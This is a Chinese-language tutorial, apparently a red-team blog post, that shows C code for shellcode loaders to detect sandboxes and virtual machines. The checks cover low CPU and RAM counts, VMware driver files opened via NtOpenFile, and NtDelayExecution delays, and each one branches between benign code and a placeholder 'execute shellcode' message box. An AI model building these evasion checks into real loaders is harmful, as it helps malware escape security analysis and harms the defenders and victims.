通过关注系统环境来检测沙箱或虚拟机。导致不运行恶意代码,而是运行其他无害的代码。
一般来说虚拟的内存和CPU的数量都是有限的,但是这里不建议加虚拟机的反调试,因为有时候我们去打项目的时候难免会遇到Vcenter搭建的,但是话又说回来,一般来说使用Vcenter创建的虚拟机里面都跑一些正常的业务,内存这些也就不会很小。
比如说我们可以检测CPU处理器的数量是否低于或等于2,并且RAM是否低于4GB,如果低于的话那么我们直接运行正常的代码就可以了比如说可以MessageBoxA弹框之类的。
如下代码:
#include <stdio.h>
#include <windows.h>
int main() {
SYSTEM_INFO info;
MEMORYSTATUSEX status;
GetSystemInfo(&info);
printf("处理器: %u\n", info.dwNumberOfProcessors);
status.dwLength = sizeof(status);
GlobalMemoryStatusEx(&status);
printf("内存: %I64u MB\n", status.ullTotalPhys / (1024 * 1024));
return 0;
}
这里的SYSTEM_INFO,它是一个结构类型,它里面包含了系统资源的相关信息,我们可以利用它来检索CPU的数量。MEMORYSTATUSEX也是一个结构,里面包含了内存的状态等等,然后通过调用GetSystemInfo函数来检索关硬件的信息,最后再调用GlobalMemoryStatusEx函数检索有关系统内存状态的信息。
我们来查看虚拟机的内存和CPU。
获取到之后就可以判断了,如果处理器小于4个,并且内存小于4GB的话,执行正常代码。
#include <stdio.h>
#include <windows.h>
int main() {
SYSTEM_INFO info;
MEMORYSTATUSEX status;
GetSystemInfo(&info);
printf("处理器: %u\n", info.dwNumberOfProcessors);
status.dwLength = sizeof(status);
GlobalMemoryStatusEx(&status);
printf("内存: %I64u MB\n", status.ullTotalPhys / (1024 * 1024));
if (info.dwNumberOfProcessors < 8 && (status.ullTotalPhys / (1024 * 1024)) < 4096) {
MessageBoxA(NULL, "执行正常代码", "执行正常代码", NULL);
}
else {
MessageBoxA(NULL, "执行shellcode", "执行shellcode", NULL);
}
return 0;
}
虚拟机需要一些特定的文件才能跑起来,无论是Vmware还是VirtualBox都有自己的特定文件,我们可以查询这些文件的路径来判断是否被分析。
这里可以使用Windows API来实现。
如下代码:
首先通过LoadLibrary去加载NTDLL.DLL模块。
HMODULE ntdllTest = LoadLibrary(L"ntdll.dll");
获取到DLL之后通过GetProcAddress去动态获取函数的地址。
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS(NTAPI* pNtOpenFile) (
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG ShareAccess,
ULONG OpenOptions
);
typedef VOID(NTAPI* pRtlInitUnicodeString) (
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
int main() {
//通过LoaderLibrary先去加载NTDLL.DLL模块
HMODULE ntdllTest = LoadLibrary(L"ntdll.dll");
pNtOpenFile NtOpenFile = (pNtOpenFile)GetProcAddress(ntdllTest, "NtOpenFile");
pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(ntdllTest, "RtlInitUnicodeString");
getchar();
}
紧接着指定要读取的文件。
UNICODE_STRING dirName; RtlInitUnicodeString(&dirName,L"C:\\Users\\Admin\\Desktop\\1.txt");
然后去搜索文件,不区分大小写。
InitializeObjectAttributes(&objectAttributes, &dirName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
最后打开文件,如果打开成功的话,那么就执行正常代码,如果打开失败的话,那么就执行shellcode。
完整代码:
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS(NTAPI* pNtOpenFile) (
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG ShareAccess,
ULONG OpenOptions
);
typedef VOID(NTAPI* pRtlInitUnicodeString) (
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
int main() {
//通过LoaderLibrary先去加载NTDLL.DLL模块
HMODULE ntdllTest = LoadLibrary(L"ntdll.dll");
pNtOpenFile NtOpenFile = (pNtOpenFile)GetProcAddress(ntdllTest, "NtOpenFile");
pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(ntdllTest, "RtlInitUnicodeString");
HANDLE hFile = NULL;
NTSTATUS status;
UNICODE_STRING dirName;
IO_STATUS_BLOCK ioStatusBlock;
RtlInitUnicodeString(&dirName,L"C:\\Users\\Admin\\Desktop\\1.txt");
OBJECT_ATTRIBUTES objectAttributes;
InitializeObjectAttributes(&objectAttributes, &dirName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
status = NtOpenFile(&hFile, FILE_READ_DATA, &objectAttributes, &ioStatusBlock, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE);
if (!NT_SUCCESS(status)) {
MessageBoxA(NULL, "执行shellcode", "shellcode", NULL);
}
else {
MessageBoxA(NULL, "执行正常代码", "执行正常代码", NULL);
}
getchar();
}
那么这里的话就可以将C:\Users\Admin\Desktop\1.txt 更改为特定的一些文件,比如VMware 3D 驱动程序,vm3dum64.dll,VMware 虚拟 SCSI 驱动程序 vmscsi.sys等等。
我们可以利用延时来规避沙箱。我们可以使用NtDelayExecution来进行延迟。
#include <iostream>
#include <Windows.h>
#include <string>
#include <winternl.h>
typedef NTSTATUS(NTAPI* pNtDelayExecution) (
BOOL Alertable,
PLARGE_INTEGER DelayInterval
);
int main()
{
//获取NTDLL的基地址
HMODULE hmodule = GetModuleHandleA("NTDLL.DLL");
pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(hmodule, "NtDelayExecution");
LARGE_INTEGER delay;
delay.QuadPart = -50000000;
//睡眠5秒
NTSTATUS status = NtDelayExecution(FALSE, &delay);
printf("sucess");
}
其实是和Sleep函数是差不多的,这里延迟了5秒,我们在写loader的时候延迟几分钟即可。